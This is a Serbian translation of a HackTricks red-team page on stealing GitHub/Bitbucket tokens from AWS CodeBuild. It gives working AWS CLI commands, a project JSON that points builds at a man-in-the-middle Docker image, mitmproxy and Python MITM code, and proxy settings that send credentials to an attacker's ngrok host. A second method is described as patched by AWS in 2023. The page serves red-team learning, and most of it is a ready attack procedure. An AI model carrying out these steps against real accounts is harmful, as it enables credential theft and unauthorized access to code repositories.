AWS Codebuild - Token Leakage

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Vraćanje Github/Bitbucket Konfigurisanih Tokena

Prvo, proverite da li postoje bilo kakvi konfigurisani izvorni kredencijali koje biste mogli da otkrijete:

aws codebuild list-source-credentials

Preko Docker slike

Ako otkrijete da je autentikacija na primer postavljena za Github u nalogu, možete izvući taj pristup (GH token ili OAuth token) tako što ćete naterati Codebuild da koristi određenu docker sliku za pokretanje izgradnje projekta.

Za tu svrhu možete kreirati novi Codebuild projekat ili promeniti okruženje postojećeg da biste postavili Docker sliku.

Docker sliku koju možete koristiti je https://github.com/carlospolop/docker-mitm. Ovo je veoma osnovna Docker slika koja će postaviti env promenljive https_proxy, http_proxy i SSL_CERT_FILE. Ovo će vam omogućiti da presretnete većinu saobraćaja sa hosta naznačenog u https_proxy i http_proxy i da verujete SSL CERT-u naznačenom u SSL_CERT_FILE.

  1. Kreirajte i otpremite svoju sopstvenu Docker MitM sliku

  • Pratite uputstva iz repozitorijuma da biste postavili IP adresu vašeg proksi servera i postavili vaš SSL sertifikat i izgradili docker sliku.

  • NE POSTAVLJAJTE http_proxy da ne biste presreli zahteve ka metapodacima.

  • Možete koristiti ngrok poput ngrok tcp 4444 da biste postavili proksi ka vašem hostu

  • Kada izgradite Docker sliku, otpremite je na javni repozitorijum (Dockerhub, ECR...)

  1. Postavite okruženje

  • Kreirajte novi Codebuild projekat ili izmenite okruženje postojećeg.

  • Postavite projekat da koristi prethodno generisanu Docker sliku

  1. Postavite MitM proksi na vašem hostu

  • Kao što je naznačeno u Github repozitorijumu, možete koristiti nešto poput:

mitmproxy --listen-port 4444  --allow-hosts "github.com"

Korišćena je mitmproxy verzija 9.0.1, prijavljeno je da ovo možda neće raditi sa verzijom 10.

  1. Pokrenite izgradnju i zabeležite pristupne podatke

  • Možete videti token u zaglavlju Authorization:

Ovo takođe može biti urađeno sa aws cli-om nečim sličnim kao

# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

Preko HTTP protokola

Ova ranjivost je ispravljena od strane AWS-a negde tokom nedelje 20. februara 2023. godine (mislim da je bilo u petak). Dakle, napadač više ne može zloupotrebljavati ovu ranjivost :)

Napadač sa povišenim dozvolama u okviru CodeBuild-a mogao bi otkriti Github/Bitbucket token koji je konfigurisan ili, ako su dozvole konfigurisane putem OAuth-a, privremeni OAuth token korišćen za pristup kodu.

  • Napadač bi mogao dodati promenljive okoline http_proxy i https_proxy u CodeBuild projekat koji pokazuju ka njegovom računaru (na primer http://5.tcp.eu.ngrok.io:14972).

  • Zatim, promeniti URL repozitorijuma na Github-u da koristi HTTP umesto HTTPS, na primer: **http://**github.com/carlospolop-forks/TestActions

  • Zatim pokrenuti osnovni primer sa https://github.com/synchronizing/mitm na portu koji pokazuju promenljive proxy (http_proxy i https_proxy)

from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Konačno, kliknite na Izgradite projekat, poverljivi podaci će biti poslati u čistom tekstu (base64) na mitm port:

Sada će napadač moći da koristi token sa svoje mašine, da izlistava sve privilegije koje ima i (zlo)upotrebljava lakše nego korišćenjem CodeBuild servisa direktno.

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated